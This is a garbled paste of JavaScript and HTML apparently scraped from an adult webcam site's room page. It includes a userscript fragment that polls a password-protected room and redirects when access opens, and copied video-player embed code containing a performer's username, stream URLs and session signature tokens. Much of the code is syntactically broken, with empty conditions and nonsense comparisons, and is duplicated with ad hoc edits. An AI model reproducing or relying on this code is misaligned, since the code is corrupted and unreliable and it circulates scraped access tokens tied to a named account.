  1384.     var getPass = document.getElementById('checkPass').textContent;
  1385.     var stripPtags = getPass.search('This room requires a password.');
  1386.     if (stripPtags !== 0) {
  1387.         return;
  1388.     }
  1389.     else {
  1390.         setInterval(function() {
  1391.             var newLatest = latest.replace('roomlogin/', '');
  1392.             $('#checkPass').load('https://chaturbate.com/' + newLatest + '#main .content .c-1 .block h1');
  1393.             setTimeout(function() {
  1394.                 var rePcheck = document.getElementById('checkPass').textContent;
  1395.                 var rePstrip = rePcheck.search('This room requires a password.');
  1396.                 if (rePstrip === 0) {
  1397.                     return;
  1398.                 }
  1399.                 else {
  1400.                     window.location = 'https://chaturbate.com/' + newLatest;
  1401.                 }
  1402.             }, 5000);
  1403.         }, 5000);
  1404.     }
  1405. }, 5000);
  1406.  
  1407. ==========================================? >  ><==UserScript==><reloadscript
  1408. 2.  if (HasFlash() && ('true' == '' || 'true' == 'true')) {
  1409.  
  1410.  
  1411. 3.EmbedViewerSwf(
  1412.  
  1413.  
  1414. 4."/static/flash/CBV_2p670.swf",
  1415.  
  1416.  
  1417. 5."jimgreenobigcock",
  1418.  
  1419.  
  1420. 6."edge5.stream.highwebmedia.com",
  1421.  
  1422.  
  1423. 7."/xml/viewer.xml",
  1424.  
  1425.  
  1426. 8."1",
  1427.  
  1428.  
  1429. 9."login_required_true_if_loggedin",
  1430.  
  1431.  
  1432. 10."0",
  1433.  
  1434.  
  1435. 11."https://ssl-ccstatic.highwebmedia.com/flash/playerProductInstall.swf",
  1436.  
  1437.  
  1438. 12."jimgreenobigcock",
  1439.  
  1440.  
  1441. 13."$.mydefchatconn('join_group_show')",
  1442.  
  1443.  
  1444. 14."$.mydefchatconn('spy_on_private')",
  1445.  
  1446.  
  1447. 15."registration_required()",
  1448.  
  1449.  
  1450. 16."0",
  1451.  
  1452.  
  1453. 17."https://ssl-ccstatic.highwebmedia.com/images/flashwatermark.png",
  1454.  
  1455.  
  1456. 18."",
  1457.  
  1458.  
  1459. 19."0a24e2765a87ac183397d064206cbc876336518d1d1bf203b94fff8eaeb36c781c0c85531925c1ce6e5aca882086992910c4d8db0ae7307e50acc683f0cf2593",
  1460.  
  1461.  
  1462. 20."629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186",
  1463.  
  1464.  
  1465. 21."0",
  1466.  
  1467.  
  1468. 22."100",
  1469.  
  1470.  
  1471. 23."1",
  1472.  
  1473.  
  1474. 24."{\u0022username\u0022:\u0022jimgreenobigcock\u0022,\u0022org\u0022:\u0022ATL\u0022,\u0022expire\u0022:1499897655,\u0022sig\u0022:\u0022cdf7f07f2e2f104449bc977ac425d3eca063eeb7034a1bf917e2583917edb6b3\u0022,\u0022room\u0022:\u0022jimgreenobigcock\u0022}",
  1475.  
  1476.  
  1477. 25."0"
  1478.  
  1479.  
  1480. 26.);
  1481.  
  1482.  
  1483. 27.} else {
  1484.  
  1485.  
  1486. 28./*jslint browser: true*/
  1487.  
  1488.  
  1489. 29.'use strict';
  1490.  
  1491.  
  1492. 30.var STALLED_SECS = 3; //seconds before we consider hls stalled
  1493.  
  1494.  
  1495. 31.var SUPER_STALLED_SECS = 7;
  1496.  
  1497.  
  1498. 32.var lastOnTimeUpdate, lastCurrentTime;
  1499.  
  1500.  
  1501. 33.var monitorMs = 1000;
  1502.  
  1503.  
  1504. 34.var RELOAD_INTERVAL_SEC = 13;  //interval between reloads
  1505.  
  1506.  
  1507. 35.var PAUSE_PLAY_INTERVAL_SEC = 10;  //interval between pause play
  1508.  
  1509.  
  1510. 36.var lastReloadTime, hlsPlayer, edgeSrc, lastPausePlayTime, lastOnWaitingTime, firstOnWaitingTime;
  1511.  
  1512.  
  1513. 37.var ON_WAITING_RESET_SEC = 30;
  1514.  
  1515.  
  1516. 38.var MAX_ON_WAITING_SEC = 60;
  1517.  
  1518.  
  1519. 39.
  1520.  
  1521.  
  1522. 40.function getCurrentTimeSec() {
  1523.  
  1524.  
  1525. 41.return new Date().getTime() / 1000.0;
  1526.  
  1527.  
  1528. 42.}
  1529.  
  1530.  
  1531. 43.
  1532.  
  1533.  
  1534. 44.function initSettings() {
  1535.  
  1536.  
  1537. 45.lastOnTimeUpdate = getCurrentTimeSec();
  1538.  
  1539.  
  1540. 46.lastCurrentTime = 0;
  1541.  
  1542.  
  1543. 47.}
  1544.  
  1545.  
  1546. 48.
  1547.  
  1548.  
  1549. 49.function onWaiting() {
  1550.  
  1551.  
  1552. 50.var curTime = getCurrentTimeSec();
  1553.  
  1554.  
  1555. 51.
  1556.  
  1557.  
  1558. 52.if (curTime - lastOnWaitingTime >= ON_WAITING_RESET_SEC || edgeSrc == '') {
  1559.  
  1560.  
  1561. 53.firstOnWaitingTime = curTime;
  1562.  
  1563.  
  1564. 54.}
  1565.  
  1566.  
  1567. 55.lastOnWaitingTime = curTime;  };
  1568.  
  1569.  
  1570. 56.hlsPlayer.onwaiting = onWaiting;
  1571.  
  1572.  
  1573. 57.}
  1574.  
  1575.  
  1576. 58.
  1577.  
  1578.  
  1579. 59.if ('true' == 'True'){
  1580.  
  1581.  
  1582. 60.if ('== '=='True') {
  1583.  
  1584.  
  1585. 61.handle_room_status_change_if_non_flash('show', '');
  1586.  
  1587.  
  1588. 62.}
  1589.  
  1590.  
  1591. 63.} else if ('='= '= 'True') {
  1592.  
  1593.  
  1594. 64.handle_room_status_change_if_non_flash('public');
  1595.  
  1596.  
  1597. 65.}
  1598.  
  1599.  
  1600. 66.}
  1601.  
  1602.  
  1603. 67.
  1604.  
  1605.  
  1606. 68.function isStalled()  {
  1607.  
  1608.  
  1609. 69.hlsPlayer.setAttribute("controls", "controls");
  1610.  
  1611.  
  1612. 70.}
  1613.  
  1614.  
  1615. 71.}
  1616.  
  1617.  
  1618. 72.});
  1619.  
  1620.  
  1621. 73.
  1622.  
  1623.  
  1624. 74.function monitorHls() {
  1625.  
  1626.  
  1627. 75.if (!defchat_settings || !hlsPlayer) {
  1628.  
  1629.  
  1630. 76.return;
  1631.  
  1632.  
  1633. 77.}
  1634.  
  1635.  
  1636. 78.if (isStalled()) {
  1637.  
  1638.  
  1639. 79.if (defchat_settings.handler.initializer.restricted_buffer_play_in_progress) {
  1640.  
  1641.  
  1642. 80.if (isSuperStalled()) {
  1643.  
  1644.  
  1645. 81.defchat_settings.handler.initializer.restricted_buffer_play_in_progress = true;
  1646.  
  1647.  
  1648. 82.if (defchat_settings.handler.initializer.model_status === 'away') {
  1649.  
  1650.  
  1651. 83.handle_room_status_change_if_non_flash(defchat_settings.handler.initializer.model_status);
  1652.  
  1653.  
  1654. 84.}
  1655.  
  1656.  
  1657. 85.return;
  1658.  
  1659.  
  1660. 86.}
  1661.  
  1662.  
  1663. 87.pausePlay();
  1664.  
  1665.  
  1666. 88.return;
  1667.  
  1668.  
  1669. 89.}
  1670.  
  1671.  
  1672. 90.if ((getCurrentTimeSec() - lastReloadTime) >= RELOAD_INTERVAL_SEC && isSuperStalled()) {
  1673.  
  1674.  
  1675. 91.lastReloadTime = getCurrentTimeSec();
  1676.  
  1677.  
  1678. 92.reloadHlsVideoAjax();
  1679.  
  1680.  
  1681. 93.return;
  1682.  
  1683.  
  1684. 94.}
  1685.  
  1686.  
  1687. 95.pausePlay();
  1688.  
  1689.  
  1690. 96.}
  1691.  
  1692.  
  1693. 97.}
  1694.  
  1695.  
  1696. 98.
  1697.  
  1698.  
  1699. 99.window.loadHlsVideo = function (src) {
  1700.  
  1701.  
  1702. 100.edgeSrc = src;
  1703.  
  1704.  
  1705. 101.initSettings();
  1706.  
  1707.  
  1708. 102.if (src === '') {
  1709.  
  1710.  
  1711. 103.hlsPlayer.pause();
  1712.  
  1713.  
  1714. 104.} else {
  1715.  
  1716.  
  1717. 105.if (window.jsplayer) {
  1718.  
  1719.  
  1720. 106.window.jsplayer.src(src);
  1721.  
  1722.  
  1723. 107.} else {
  1724.  
  1725.  
  1726. 108.hlsPlayer.src = src;
  1727.  
  1728.  
  1729. 109.}
  1730.  
  1731.  
  1732. 110.hlsPlayer.play();
  1733.  
  1734.  
  1735. 111.}
  1736.  
  1737.  
  1738. 112.};
  1739.  
  1740.  
  1741. 113.
  1742.  
  1743.  
  1744. 114.window.getCurrentEdge = function () {
  1745.  
  1746.  
  1747. 115.var items = edgeSrc.split('/');
  1748.  
  1749.  
  1750. 116.if (items.length >= 3) {
  1751.  
  1752.  
  1753. 117.return items[2];
  1754.  
  1755.  
  1756. 118.}
  1757.  
  1758.  
  1759. 119.return '';
  1760.  
  1761.  
  1762. 120.};
  1763.  
  1764.  
  1765. 121.
  1766.  
  1767.  
  1768. 122.window.getEdgeHlsUrlAjax = function () {
  1769.  
  1770.  
  1771. 123.return "/get_edge_hls_url_ajax/";
  1772.  
  1773.  
  1774. 124.};
  1775.  
  1776.  
  1777. 125.
  1778.  
  1779.  
  1780. 126.setInterval(monitorHls, monitorMs);
  1781.  
  1782.  
  1783. 127.var edgeVideoJs = (String(navigator.userAgent).indexOf('Edge') >= 0 && Hls.isSupported());
  1784.  
  1785.  
  1786. 128.var xbox = (String(navigator.userAgent).indexOf('Xbox') >= 0);
  1787.  
  1788.  
  1789. 129.
  1790.  
  1791.  
  1792. 130.if (xbox || ((window.canhls == 'maybe' || window.canhls == 'probably') && !edgeVideoJs)) {
  1793.  
  1794.  
  1795. 131.var posterUrl = 'https://cbjpeg.stream.highwebmedia.com/stream?room=jimgreenobigcock&f=' + Math.random();
  1796.  
  1797.  
  1798. 132.var html = "<div id='still_video' style='display: none'>";
  1799.  
  1800.  
  1801. 133.html += "<video id='still_video_object' muted ";
  1802.  
  1803.  
  1804. 134.html += "src='https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897655%2C%22sig%22%3A%22cdf7f07f2e2f104449bc977ac425d3eca063eeb7034a1bf917e2583917edb6b3%22%2C%22room%22%3A%22jimgreenobigcock%22%7D' poster='" + posterUrl + "'";
  1805.  
  1806.  
  1807. 135.html += "width='498px' height='407px'";
  1808.  
  1809.  
  1810. 136.html += "webkit-playsinline playsinline autoplay></video></div>";
  1811.  
  1812.  
  1813. 137.$('#still_video_container').html(html);
  1814.  
  1815.  
  1816. 138.$('#still_video').show();
  1817.  
  1818.  
  1819. 139.if {
  1820.  
  1821.  
  1822. 140.resizable_player.init('0' == '1', true);
  1823.  
  1824.  
  1825. 141.}
  1826.  
  1827.  
  1828. 142.initHlsPlayer($('#still_video_object')[0], 'https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897655%2C%22sig%22%3A%22cdf7f07f2e2f104449bc977ac425d3eca063eeb7034a1bf917e2583917edb6b3%22%2C%22room%22%3A%22jimgreenobigcock%22%7D');
  1829.  
  1830.  
  1831. 143.
  1832.  
  1833.  
  1834. 144.   if ('true' != 'True') {
  1835.  
  1836.  
  1837. 145.$('#hls_stream_source_overlay').show();
  1838.  
  1839.  
  1840. 146.} else {
  1841.  
  1842.  
  1843. 147.$('#hls_stream_source_overlay').data('transcoding',true);
  1844.  
  1845.  
  1846. 148.}
  1847.  
  1848.  
  1849. 149.} else if (Hls.isSupported()) {
  1850.  
  1851.  
  1852. 150.var posterUrl = 'https://cbjpeg.stream.highwebmedia.com/stream?room=jimgreenobigcock&f=' + Math.random();
  1853.  
  1854.  
  1855. 151.var html = "<div id='still_video2' style='display: none'>";
  1856.  
  1857.  
  1858. 152.html += "<video id='still_video_object' ";
  1859.  
  1860.  
  1861. 153.html += "class='video-js vjs-default-skin vjs-4-3' "
  1862.  
  1863.  
  1864. 154.html += "controls muted poster='" + posterUrl + "' ";
  1865.  
  1866.  
  1867. 155.html += "webkit-playsinline playsinline autoplay><source src='https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897655%2C%22sig%22%3A%22cdf7f07f2e2f104449bc977ac425d3eca063eeb7034a1bf917e2583917edb6b3%22%2C%22room%22%3A%22jimgreenobigcock%22%7D' type='application/x-mpegURL' ></video></div>";
  1868.  
  1869.  
  1870. 156.$('#still_video_container').html(html);
  1871.  
  1872.  
  1873. 157.
  1874.  
  1875.  
  1876. 158.var video = document.getElementById('still_video_object');
  1877.  
  1878.  
  1879. 159.window.jsplayer = videojs(video, {
  1880.  
  1881.  
  1882. 160.autoplay: true,
  1883.  
  1884.  
  1885. 161.html5: {
  1886.  
  1887.  
  1888. 162.hlsjsConfig: {
  1889.  
  1890.  
  1891. 163.debug: true
  1892.  
  1893.  
  1894. 164.}
  1895.  
  1896.  
  1897. 165.},
  1898.  
  1899.  
  1900. 166.controlBar: {
  1901.  
  1902.  
  1903. 167.playToggle: true,
  1904.  
  1905.  
  1906. 168.progressControl: true,
  1907.  
  1908.  
  1909. 169.remainingTimeDisplay: true,
  1910.  
  1911.  
  1912. 170.durationDisplay: true,
  1913.  
  1914.  
  1915. 171.currentTimeDisplay: true,
  1916.  
  1917.  
  1918. 172.timeDivider: true
  1919.  
  1920.  
  1921. 173.}
  1922.  
  1923.  
  1924. 174.});
  1925.  
  1926.  
  1927. 175.window.jsplayer.qualityPickerPlugin();
  1928.  
  1929.  
  1930. 176.initHlsPlayer(jsplayer, 'https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897655%2C%22sig%22%3A%22cdf7f07f2e2f104449bc977ac425d3eca063eeb7034a1bf917e2583917edb6b3%22%2C%22room%22%3A%22jimgreenobigcock%22%7D');
  1931.  
  1932.  
  1933. 177.
  1934.  
  1935.  
  1936. 178.$('#still_video2').show();
  1937.  
  1938.  
  1939. 179.if {
  1940.  
  1941.  
  1942. 180.resizable_player.init('0' == '1', true);
  1943.  
  1944.  
  1945. 181.resizable_player.control_bar_height = 0;
  1946.  
  1947.  
  1948. 182.
  1949.  
  1950.  
  1951. 183.}
  1952.  
  1953.  
  1954. 184.if ('true'=' '=''True') {
  1955.  
  1956.  
  1957. 185.$('#hls_stream_source_overlay').show();
  1958.  
  1959.  
  1960. 186.} else {
  1961.  
  1962.  
  1963. 187.$('#hls_stream_source_overlay').data('transcoding',true);
  1964.  
  1965.  
  1966. 188.}
  1967.  
  1968.  
  1969. 189.} else {
  1970.  
  1971.  
  1972. 190.//js fallback
  1973.  
  1974.  
  1975. 191.
  1976.  
  1977.  
  1978. 192.}
  1979.  
  1980.  
  1981. 193.}
  1982.  
  1983.  
  1984. 194.
  1985.  
  1986.  
  1987. 195.
  1988.  
  1989.  
  1990. 196.if (typeof resizable_player "undefined") {
  1991.  
  1992.  
  1993. 197.resizable_player.set_resolution_to_max();
  1994.  
  1995.  
  1996. 198.} {
  1997.  
  1998.  
  1999. 199.$.mydefchatconn('scroll_chat_into_view');
  2000.  
  2001.  
  2002. 200.}
  2003.  
  2004.  
  2005. 201.$(window).bind('resize', function (event) {
  2006.  
  2007.  
  2008. 202.if (this == event.target) {
  2009.  
  2010.  
  2011. 203.if (typeof resizable_player 'o='= '1'"undefined") {
  2012.  
  2013.  
  2014. 204.resizable_player.set_resolution_to_max();
  2015.  
  2016.  
  2017. 205.}
  2018.  
  2019.  
  2020. 206.}
  2021.  
  2022.  
  2023. 207.});
  2024.  
  2025.  
  2026. 208.
  2027.  
  2028.  
  2029. 209.
  2030.  
  2031.  
  2032. 210.});
  2033.  
  2034.  
  2035. 211.
  2036.  
  2037.  
  2038. 212.</script>
  2039.  
  2040.  
  2041. 213.</body>
  2042.  
  2043.  
  2044. 214.</html>
  2045.  
  2046.  
  2047. 215."/get_edge_hls_url_ajax/";
  2048.  
  2049.  
  2050. 216.};
  2051.  
  2052.  
  2053. 217.
  2054.  
  2055.  
  2056. 218.setInterval(monitorHls, monitorMs); var edgeVideoJs = (String(navigator.userAgent).indexOf('Edge') >= 0 && Hls.isSupported()); var xbox = (String(navigator.userAgent).indexOf('Xbox') >= 0);
  2057.  
  2058.  
  2059. 219.  && edgeVideoJs)) { var posterUrl = 'https://cbjpeg.stream.highwebmedia.com/stream?room=jimgreenobigcock&f=' + Math.random(); var html = "<div id='still_video' style='display: show'>"; html += "<video id='still_video_object'embed_sound=1"; html += "src='https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897334%2C%22sig%22%3A%2245c9a7753ca81f2035e3c19b1dced1263f0a7350465ac260316015d0a86b5a16%22%2C%22room%22%3A%22jimgreenobigcock%22%7D' poster='" + posterUrl + "'"; html += "width='498px' height='407px'"; html += "webkit-playsinline playsinline autoplay></video></div>"; $('#still_video_container').html(html); $('#still_video').show(); if  { resizable_player.init('0' == '1', true); } initHlsPlayer($('#still_video_object')[0], 'https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897334%2C%22sig%22%3A%2245c9a7753ca81f2035e3c19b1dced1263f0a7350465ac260316015d0a86b5a16%22%2C%22room%22%3A%22jimgreenobigcock%22%7D');
  2060.  
  2061.  
  2062. 220.if ('true' != 'True') {
  2063.  
  2064.  
  2065. 221.$('#hls_stream_source_overlay').show();
  2066.  
  2067.  
  2068. 222.} else {
  2069.  
  2070.  
  2071. 223.$('#hls_stream_source_overlay').data('transcoding',true);
  2072.  
  2073.  
  2074. 224.} } else if (Hls.isSupported()) { var posterUrl = 'https://cbjpeg.stream.highwebmedia.com/stream?room=jimgreenobigcock&f=' + Math.random(); var html = "<div id='still_video2' style='display: none'>"; html += "<video id='still_video_object' "; html += "class='video-js vjs-default-skin vjs-4-3' " html += "controls muted poster='" + posterUrl + "' "; html += "webkit-playsinline playsinline autoplay><source src='https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897334%2C%22sig%22%3A%2245c9a7753ca81f2035e3c19b1dced1263f0a7350465ac260316015d0a86b5a16%22%2C%22room%22%3A%22jimgreenobigcock%22%7D' type='application/x-mpegURL' ></video></div>"; $('#still_video_container').html(html);
  2075.  
  2076.  
  2077. 225. var video = document.getElementById('still_video_object'); window.jsplayer = videojs(video, { autoplay: true, html5: { hlsjsConfig: { debug: true} }, controlBar: { playToggle: true, progressControl: true, remainingTimeDisplay: true, durationDisplay: true, currentTimeDisplay: true, timeDivider: true } }); window.jsplayer.qualityPickerPlugin(); initHlsPlayer(jsplayer, 'https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897334%2C%22sig%22%3A%2245c9a7753ca81f2035e3c19b1dced1263f0a7350465ac260316015d0a86b5a16%22%2C%22room%22%3A%22jimgreenobigcock%22%7D');
  2078.  
  2079.  
  2080. 226. $('#still_video2').show(); if { resizable_player.init('0' == '1', true); resizable_player.control_bar_height = 0;  } if ('true' != 'True') {
  2081.  
  2082.  
  2083. 227.$('#hls_stream_source_overlay').show();
  2084.  
  2085.  
  2086. 228.} else {
  2087.  
  2088.  
  2089. 229.$('#hls_stream_source_overlay').data('transcoding',true);
  2090.  
  2091.  
  2092. 230.} } else { //js fallback
  2093.  
  2094.  
  2095. 231. }
  2096.  
  2097.  
  2098. 232.}
  2099.  
  2100.  
  2101. 233.
  2102.  
  2103.  
  2104. 234.
  2105.  
  2106.  
  2107. 235.if (typeof resizable_player != "undefined") { resizable_player.set_resolution_to_max();
  2108.  
  2109.  
  2110. 236.}
  2111.  
  2112.  
  2113. 237.if (typeof $.mydefchatconn != "undefined") { $.mydefchatconn('scroll_chat_into_view');
  2114.  
  2115.  
  2116. 238.}
  2117.  
  2118.  
  2119. 239.$(window).bind('resize', function (event) { if (this == event.target) { if (typeof resizable_player != "undefined") { resizable_player.set_resolution_to_max(); } }
  2120.  
  2121.  
  2122. 240.});
  2123.  
  2124.  
  2125. 241.
  2126.  
  2127.  
  2128. 242.
  2129.  
  2130.  
  2131. 243.});
  2132.  
  2133.  
  2134. 244.
  2135.  
  2136.  
  2137. 245.</script>
  2138.  
  2139.  
  2140. 246.
  2141.  
  2142.  
  2143. 247.
  2144.  
  2145.  
  2146. 248.</div><div id="SwfStore_ogcamsite818_0" style="left: -2000px; top: -2000px; position: absolute;"><object width="500" height="100" id="SwfStore_ogcamsite818_1" codebase="https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"><param name="movie" value="/static/javascript-flash-cookies/storage.swf"><param name="FlashVars" value="namespace=ogcamsite818"><param name="allowScriptAccess" value="always"><embed name="SwfStore_ogcamsite818_1" width="500" height="375" align="middle" pluginspage="https://www.macromedia.com/go/getflashplayer" src="/static/javascript-flash-cookies/storage.swf" type="application/x-shockwave-flash" bgcolor="#ffffff" play="true" loop="true" quality="high" allowscriptaccess="always" flashvars="namespace=ogcamsite818"></object></div></body></html>/http://chaturbate.com/affiliates/...png..>
  2147.  
  2148.  
  2149. RAW Paste Data
  2150.  
  2151. https://chaturbate.com/affiliates/in/?tour=9oGW&campaign=zM6MR&track=embed&room=jimgreenobigcock&bgcolor=transparent&disable_sound=1&embed_video_only=0&target=_parent' height=523 width=850 style='border: none;'></iframe> /(document).ready(function() {
  2152.   if (HasFlash() && ('true' == '' || 'true' == 'true')) {
  2153. EmbedViewerSwf(
  2154. "/static/flash/CBV_2p670.swf",
  2155. "jimgreenobigcock",
  2156. "edge5.stream.highwebmedia.com",
  2157. "/xml/viewer.xml",
  2158. "1",
  2159. "login_required_true_if_loggedin",
  2160. "0",
  2161. "https://ssl-ccstatic.highwebmedia.com/flash/playerProductInstall.swf",
  2162. "jimgreenobigcock",
  2163. "$.mydefchatconn('join_group_show')",
  2164. "$.mydefchatconn('spy_on_private')",
  2165. "registration_required()",
  2166. "0",
  2167. "https://ssl-ccstatic.highwebmedia.com/images/flashwatermark.png",
  2168. "",
  2169. "0a24e2765a87ac183397d064206cbc876336518d1d1bf203b94fff8eaeb36c781c0c85531925c1ce6e5aca882086992910c4d8db0ae7307e50acc683f0cf2593",
  2170. "629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186",
  2171. "0",
  2172. "100",
  2173. "1",
  2174. "{\u0022username\u0022:\u0022jimgreenobigcock\u0022,\u0022org\u0022:\u0022ATL\u0022,\u0022expire\u0022:1499897655,\u0022sig\u0022:\u0022cdf7f07f2e2f104449bc977ac425d3eca063eeb7034a1bf917e2583917edb6b3\u0022,\u0022room\u0022:\u0022jimgreenobigcock\u0022}",
  2175. "0"
  2176. );
  2177. } else {
  2178. /*jslint browser: true*/
  2179. 'use strict';
  2180. var STALLED_SECS = 3; //seconds before we consider hls stalled
  2181. var SUPER_STALLED_SECS = 7;
  2182. var lastOnTimeUpdate, lastCurrentTime;
  2183. var monitorMs = 1000;
  2184. var RELOAD_INTERVAL_SEC = 13;  //interval between reloads
  2185. var PAUSE_PLAY_INTERVAL_SEC = 10;  //interval between pause play
  2186. var lastReloadTime, hlsPlayer, edgeSrc, lastPausePlayTime, lastOnWaitingTime, firstOnWaitingTime;
  2187. var ON_WAITING_RESET_SEC = 30;
  2188. var MAX_ON_WAITING_SEC = 60;
  2189.  
  2190. function getCurrentTimeSec() {
  2191. return new Date().getTime() / 1000.0;
  2192. }
  2193.  
  2194. function initSettings() {
  2195. lastOnTimeUpdate = getCurrentTimeSec();
  2196. lastCurrentTime = 0;
  2197. }
  2198.  
  2199. function onWaiting() {
  2200. var curTime = getCurrentTimeSec();
  2201.  
  2202. if (curTime - lastOnWaitingTime >= ON_WAITING_RESET_SEC || edgeSrc == '') {
  2203. firstOnWaitingTime = curTime;
  2204. }
  2205. lastOnWaitingTime = curTime;  };
  2206. hlsPlayer.onwaiting = onWaiting;
  2207. }
  2208.  
  2209. if ('true' == 'True'){
  2210. if ('== '=='True') {
  2211. handle_room_status_change_if_non_flash('show', '');
  2212. }
  2213. } else if ('='= '= 'True') {
  2214. handle_room_status_change_if_non_flash('public');
  2215. }
  2216. }
  2217.  
  2218. function isStalled()  {
  2219. hlsPlayer.setAttribute("controls", "controls");
  2220. }
  2221. }
  2222. });
  2223.  
  2224. function monitorHls() {
  2225. if (!defchat_settings || !hlsPlayer) {
  2226. return;
  2227. }
  2228. if (isStalled()) {
  2229. if (defchat_settings.handler.initializer.restricted_buffer_play_in_progress) {
  2230. if (isSuperStalled()) {
  2231. defchat_settings.handler.initializer.restricted_buffer_play_in_progress = true;
  2232. if (defchat_settings.handler.initializer.model_status === 'away') {
  2233. handle_room_status_change_if_non_flash(defchat_settings.handler.initializer.model_status);
  2234. }
  2235. return;
  2236. }
  2237. pausePlay();
  2238. return;
  2239. }
  2240. if ((getCurrentTimeSec() - lastReloadTime) >= RELOAD_INTERVAL_SEC && isSuperStalled()) {
  2241. lastReloadTime = getCurrentTimeSec();
  2242. reloadHlsVideoAjax();
  2243. return;
  2244. }
  2245. pausePlay();
  2246. }
  2247. }
  2248.  
  2249. window.loadHlsVideo = function (src) {
  2250. edgeSrc = src;
  2251. initSettings();
  2252. if (src === '') {
  2253. hlsPlayer.pause();
  2254. } else {
  2255. if (window.jsplayer) {
  2256. window.jsplayer.src(src);
  2257. } else {
  2258. hlsPlayer.src = src;
  2259. }
  2260. hlsPlayer.play();
  2261. }
  2262. };
  2263.  
  2264. window.getCurrentEdge = function () {
  2265. var items = edgeSrc.split('/');
  2266. if (items.length >= 3) {
  2267. return items[2];
  2268. }
  2269. return '';
  2270. };
  2271.  
  2272. window.getEdgeHlsUrlAjax = function () {
  2273. return "/get_edge_hls_url_ajax/";
  2274. };
  2275.  
  2276. setInterval(monitorHls, monitorMs);
  2277. var edgeVideoJs = (String(navigator.userAgent).indexOf('Edge') >= 0 && Hls.isSupported());
  2278. var xbox = (String(navigator.userAgent).indexOf('Xbox') >= 0);
  2279.  
  2280. if (xbox || ((window.canhls == 'maybe' || window.canhls == 'probably') && !edgeVideoJs)) {
  2281. var posterUrl = 'https://cbjpeg.stream.highwebmedia.com/stream?room=jimgreenobigcock&f=' + Math.random();
  2282. var html = "<div id='still_video' style='display: none'>";
  2283. html += "<video id='still_video_object' muted ";
  2284. html += "src='https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897655%2C%22sig%22%3A%22cdf7f07f2e2f104449bc977ac425d3eca063eeb7034a1bf917e2583917edb6b3%22%2C%22room%22%3A%22jimgreenobigcock%22%7D' poster='" + posterUrl + "'";
  2285. html += "width='498px' height='407px'";
  2286. html += "webkit-playsinline playsinline autoplay></video></div>";
  2287. $('#still_video_container').html(html);
  2288. $('#still_video').show();
  2289. if {
  2290. resizable_player.init('0' == '1', true);
  2291. }
